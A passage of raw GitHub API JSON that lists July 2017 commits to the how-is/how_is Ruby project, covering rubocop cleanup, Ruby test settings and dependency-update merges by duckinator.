d_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"85fab97b59337a7d3f46683df0adac54a3554d59","url":"https://api.github.com/repos/how-is/how_is/commits/85fab97b59337a7d3f46683df0adac54a3554d59","html_url":"https://github.com/how-is/how_is/commit/85fab97b59337a7d3f46683df0adac54a3554d59"}]},{"sha":"85fab97b59337a7d3f46683df0adac54a3554d59","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODVmYWI5N2I1OTMzN2E3ZDNmNDY2ODNkZjBhZGFjNTRhMzU1NGQ1OQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T15:57:11Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T15:57:11Z"},"message":"don''t run rubocop on spec/capture_warnings.rb","tree":{"sha":"2afd331e925c5bb2a6f75f45cee1a4036331abdf","url":"https://api.github.com/repos/how-is/how_is/git/trees/2afd331e925c5bb2a6f75f45cee1a4036331abdf"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/85fab97b59337a7d3f46683df0adac54a3554d59","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/85fab97b59337a7d3f46683df0adac54a3554d59","html_url":"https://github.com/how-is/how_is/commit/85fab97b59337a7d3f46683df0adac54a3554d59","comments_url":"https://api.github.com/repos/how-is/how_is/commits/85fab97b59337a7d3f46683df0adac54a3554d59/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"83b88ab72a6caab788146724a5cf514fab30bc9b","url":"https://api.github.com/repos/how-is/how_is/commits/83b88ab72a6caab788146724a5cf514fab30bc9b","html_url":"https://github.com/how-is/how_is/commit/83b88ab72a6caab788146724a5cf514fab30bc9b"}]},{"sha":"83b88ab72a6caab788146724a5cf514fab30bc9b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODNiODhhYjcyYTZjYWFiNzg4MTQ2NzI0YTVjZjUxNGZhYjMwYmM5Yg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T15:40:42Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T15:40:42Z"},"message":"don''t passs -w in specs for older Ruby versions.","tree":{"sha":"0a957a52304f1689a3c002968f96a378ed1bb7e0","url":"https://api.github.com/repos/how-is/how_is/git/trees/0a957a52304f1689a3c002968f96a378ed1bb7e0"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/83b88ab72a6caab788146724a5cf514fab30bc9b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/83b88ab72a6caab788146724a5cf514fab30bc9b","html_url":"https://github.com/how-is/how_is/commit/83b88ab72a6caab788146724a5cf514fab30bc9b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/83b88ab72a6caab788146724a5cf514fab30bc9b/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"7be2e3784e54c0f006261bef1a2e9a80bf3a7851","url":"https://api.github.com/repos/how-is/how_is/commits/7be2e3784e54c0f006261bef1a2e9a80bf3a7851","html_url":"https://github.com/how-is/how_is/commit/7be2e3784e54c0f006261bef1a2e9a80bf3a7851"}]},{"sha":"7be2e3784e54c0f006261bef1a2e9a80bf3a7851","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6N2JlMmUzNzg0ZTU0YzBmMDA2MjYxYmVmMWEyZTlhODBiZjNhNzg1MQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T15:30:20Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T15:30:20Z"},"message":"[travis] run tests on Ruby 2.4.1","tree":{"sha":"cdaefb02a57bfda25120db0f74fdf44a9021be48","url":"https://api.github.com/repos/how-is/how_is/git/trees/cdaefb02a57bfda25120db0f74fdf44a9021be48"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7be2e3784e54c0f006261bef1a2e9a80bf3a7851","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7be2e3784e54c0f006261bef1a2e9a80bf3a7851","html_url":"https://github.com/how-is/how_is/commit/7be2e3784e54c0f006261bef1a2e9a80bf3a7851","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7be2e3784e54c0f006261bef1a2e9a80bf3a7851/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"48cd7abf29b128314a9d605f619cbe78ee90abe3","url":"https://api.github.com/repos/how-is/how_is/commits/48cd7abf29b128314a9d605f619cbe78ee90abe3","html_url":"https://github.com/how-is/how_is/commit/48cd7abf29b128314a9d605f619cbe78ee90abe3"}]},{"sha":"48cd7abf29b128314a9d605f619cbe78ee90abe3","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDhjZDdhYmYyOWIxMjgzMTRhOWQ2MDVmNjE5Y2JlNzhlZTkwYWJlMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T13:46:21Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T13:46:21Z"},"message":"Pass -w to Ruby when running ''rake spec''.","tree":{"sha":"dc9dc2e186e8017c7acc1722991317eb58067649","url":"https://api.github.com/repos/how-is/how_is/git/trees/dc9dc2e186e8017c7acc1722991317eb58067649"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/48cd7abf29b128314a9d605f619cbe78ee90abe3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/48cd7abf29b128314a9d605f619cbe78ee90abe3","html_url":"https://github.com/how-is/how_is/commit/48cd7abf29b128314a9d605f619cbe78ee90abe3","comments_url":"https://api.github.com/repos/how-is/how_is/commits/48cd7abf29b128314a9d605f619cbe78ee90abe3/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"f1ae158305ecb464bb00ceeed211c2129d678cd2","url":"https://api.github.com/repos/how-is/how_is/commits/f1ae158305ecb464bb00ceeed211c2129d678cd2","html_url":"https://github.com/how-is/how_is/commit/f1ae158305ecb464bb00ceeed211c2129d678cd2"}]},{"sha":"f1ae158305ecb464bb00ceeed211c2129d678cd2","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZjFhZTE1ODMwNWVjYjQ2NGJiMDBjZWVlZDIxMWMyMTI5ZDY3OGNkMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-14T11:49:43Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-14T11:49:43Z"},"message":"Merge pull request #167 from how-is/rubocop-cleanup\n\nRubocop cleanup","tree":{"sha":"d028734d20380814bff732bfe144954623b62754","url":"https://api.github.com/repos/how-is/how_is/git/trees/d028734d20380814bff732bfe144954623b62754"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/f1ae158305ecb464bb00ceeed211c2129d678cd2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/f1ae158305ecb464bb00ceeed211c2129d678cd2","html_url":"https://github.com/how-is/how_is/commit/f1ae158305ecb464bb00ceeed211c2129d678cd2","comments_url":"https://api.github.com/repos/how-is/how_is/commits/f1ae158305ecb464bb00ceeed211c2129d678cd2/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"2528ba463cb751fe4a24b56e7ab056a438c47822","url":"https://api.github.com/repos/how-is/how_is/commits/2528ba463cb751fe4a24b56e7ab056a438c47822","html_url":"https://github.com/how-is/how_is/commit/2528ba463cb751fe4a24b56e7ab056a438c47822"},{"sha":"7b2ced80f8707fdd7a1260c5ba03108076cba777","url":"https://api.github.com/repos/how-is/how_is/commits/7b2ced80f8707fdd7a1260c5ba03108076cba777","html_url":"https://github.com/how-is/how_is/commit/7b2ced80f8707fdd7a1260c5ba03108076cba777"}]},{"sha":"7b2ced80f8707fdd7a1260c5ba03108076cba777","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6N2IyY2VkODBmODcwN2ZkZDdhMTI2MGM1YmEwMzEwODA3NmNiYTc3Nw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T01:42:07Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T01:42:07Z"},"message":"[rubocop] use %w[] and %W[] instead of %w() and %W()","tree":{"sha":"d028734d20380814bff732bfe144954623b62754","url":"https://api.github.com/repos/how-is/how_is/git/trees/d028734d20380814bff732bfe144954623b62754"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7b2ced80f8707fdd7a1260c5ba03108076cba777","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7b2ced80f8707fdd7a1260c5ba03108076cba777","html_url":"https://github.com/how-is/how_is/commit/7b2ced80f8707fdd7a1260c5ba03108076cba777","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7b2ced80f8707fdd7a1260c5ba03108076cba777/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"d25925f44897dc0b35aaf940cef25d89460856be","url":"https://api.github.com/repos/how-is/how_is/commits/d25925f44897dc0b35aaf940cef25d89460856be","html_url":"https://github.com/how-is/how_is/commit/d25925f44897dc0b35aaf940cef25d89460856be"}]},{"sha":"d25925f44897dc0b35aaf940cef25d89460856be","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDI1OTI1ZjQ0ODk3ZGMwYjM1YWFmOTQwY2VmMjVkODk0NjA4NTZiZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T01:39:07Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T01:39:07Z"},"message":"bump rubocop version.","tree":{"sha":"b3495a7bd7924c35553e472ed7fd0c3243e85978","url":"https://api.github.com/repos/how-is/how_is/git/trees/b3495a7bd7924c35553e472ed7fd0c3243e85978"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d25925f44897dc0b35aaf940cef25d89460856be","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d25925f44897dc0b35aaf940cef25d89460856be","html_url":"https://github.com/how-is/how_is/commit/d25925f44897dc0b35aaf940cef25d89460856be","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d25925f44897dc0b35aaf940cef25d89460856be/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"2528ba463cb751fe4a24b56e7ab056a438c47822","url":"https://api.github.com/repos/how-is/how_is/commits/2528ba463cb751fe4a24b56e7ab056a438c47822","html_url":"https://github.com/how-is/how_is/commit/2528ba463cb751fe4a24b56e7ab056a438c47822"}]},{"sha":"2528ba463cb751fe4a24b56e7ab056a438c47822","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjUyOGJhNDYzY2I3NTFmZTRhMjRiNTZlN2FiMDU2YTQzOGM0NzgyMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-13T15:33:35Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-13T15:33:35Z"},"message":"Merge pull request #166 from olleolleolle/patch-4\n\nGemfile: use Hashie from master branch","tree":{"sha":"3c51befb720f06f4b600bbb9a4a0f62ac83d609a","url":"https://api.github.com/repos/how-is/how_is/git/trees/3c51befb720f06f4b600bbb9a4a0f62ac83d609a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2528ba463cb751fe4a24b56e7ab056a438c47822","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2528ba463cb751fe4a24b56e7ab056a438c47822","html_url":"https://github.com/how-is/how_is/commit/2528ba463cb751fe4a24b56e7ab056a438c47822","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2528ba463cb751fe4a24b56e7ab056a438c47822/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"735ee15a7ac480c59424c139d6343b59645395f2","url":"https://api.github.com/repos/how-is/how_is/commits/735ee15a7ac480c59424c139d6343b59645395f2","html_url":"https://github.com/how-is/how_is/commit/735ee15a7ac480c59424c139d6343b59645395f2"},{"sha":"20058843a47c801c0151be1979f83c69eb9234ef","url":"https://api.github.com/repos/how-is/how_is/commits/20058843a47c801c0151be1979f83c69eb9234ef","html_url":"https://github.com/how-is/how_is/commit/20058843a47c801c0151be1979f83c69eb9234ef"}]},{"sha":"20058843a47c801c0151be1979f83c69eb9234ef","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjAwNTg4NDNhNDdjODAxYzAxNTFiZTE5NzlmODNjNjllYjkyMzRlZg==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-13T15:28:23Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-13T15:28:23Z"},"message":"Merge branch ''master'' into patch-4","tree":{"sha":"3c51befb720f06f4b600bbb9a4a0f62ac83d609a","url":"https://api.github.com/repos/how-is/how_is/git/trees/3c51befb720f06f4b600bbb9a4a0f62ac83d609a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/20058843a47c801c0151be1979f83c69eb9234ef","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/20058843a47c801c0151be1979f83c69eb9234ef","html_url":"https://github.com/how-is/how_is/commit/20058843a47c801c0151be1979f83c69eb9234ef","comments_url":"https://api.github.com/repos/how-is/how_is/commits/20058843a47c801c0151be1979f83c69eb9234ef/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"b2652ce6240d58e90e956eb7581a79a6f3765c34","url":"https://api.github.com/repos/how-is/how_is/commits/b2652ce6240d58e90e956eb7581a79a6f3765c34","html_url":"https://github.com/how-is/how_is/commit/b2652ce6240d58e90e956eb7581a79a6f3765c34"},{"sha":"735ee15a7ac480c59424c139d6343b59645395f2","url":"https://api.github.com/repos/how-is/how_is/commits/735ee15a7ac480c59424c139d6343b59645395f2","html_url":"https://github.com/how-is/how_is/commit/735ee15a7ac480c59424c139d6343b59645395f2"}]},{"sha":"735ee15a7ac480c59424c139d6343b59645395f2","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzM1ZWUxNWE3YWM0ODBjNTk0MjRjMTM5ZDYzNDNiNTk2NDUzOTVmMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-13T15:27:54Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-13T15:27:54Z"},"message":"Merge pull request #165 from olleolleolle/patch-3\n\nUpdate github_api, contracts to latest","tree":{"sha":"16bede8d574abf594774b6a2749bc63380e80ed6","url":"https://api.github.com/repos/how-is/how_is/git/trees/16bede8d574abf594774b6a2749bc63380e80ed6"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/735ee15a7ac480c59424c139d6343b59645395f2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/735ee15a7ac480c59424c139d6343b59645395f2","html_url":"https://github.com/how-is/how_is/commit/735ee15a7ac480c59424c139d6343b59645395f2","comments_url":"https://api.github.com/repos/how-is/how_is/commits/735ee15a7ac480c59424c139d6343b59645395f2/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator